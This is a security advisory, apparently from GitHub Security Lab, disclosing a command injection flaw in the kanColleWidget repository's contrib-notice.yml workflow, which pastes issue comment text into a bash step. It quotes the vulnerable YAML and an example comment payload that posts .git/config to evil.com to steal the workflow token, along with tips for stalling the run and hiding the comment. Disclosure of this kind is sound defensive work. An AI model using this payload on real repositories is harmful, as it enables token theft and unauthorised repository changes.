The 'contrib-notice.yml' GitHub workflow is vulnerable to arbitrary command injection.
KanCraft/kanColleWidget GitHub repository
contrib-notice.yml from the develop branch.
When a user comments on a public issue it automatically starts the contrib-notice.yml GitHub workflow. The comment text is used to format a bash script.
on:
issues:
types: [opened, reopened]
issue_comment:
types: [created]
gollum:
...
jobs:
notification:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
...
- name: Issueコメント用ツイート内容の生成
if: github.event_name == 'issue_comment' && github.event.action == 'created' && github.event.sender.login != 'coveralls'
env:
SENDER: ${{ github.event.sender.login }}
BODY: ${{ github.event.comment.body }}
URL: ${{ github.event.comment.html_url }}
run: |
echo "[DEBUG] ORIG: ${{ github.event.comment.body }}"
echo "[DEBUG] BODY: ${BODY}"
if [ ${#BODY} -gt 80 ]; then TEXT="$(echo ${BODY} | cut -c1-80)…"; else TEXT=${BODY}; fi;
echo "[DEBUG] TEXT: ${TEXT}"
echo -ne "${SENDER}さんがコメントしました!\n> ${TEXT}\n${URL}" >> announcement.txt
...
This vulnerability allows for arbitrary command injection into the bash script. For example a user may comment with `set +e; curl -d @.git/config http://evil.com; sleep 10`
which will exfiltrate the temporary GitHub repository authorization token to the attacker controlled server. Although the token is not valid after the workflow finishes, since the attacker controls the execution of the workflow he or she can delay it to give the malicious server time to modify the repository. To make the attack less visible the attacker may modify the comment later.
This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).
You can contact the GHSL team at securitylab@github.com
, please include a reference to GHSL-2020-191
in any communication regarding this issue.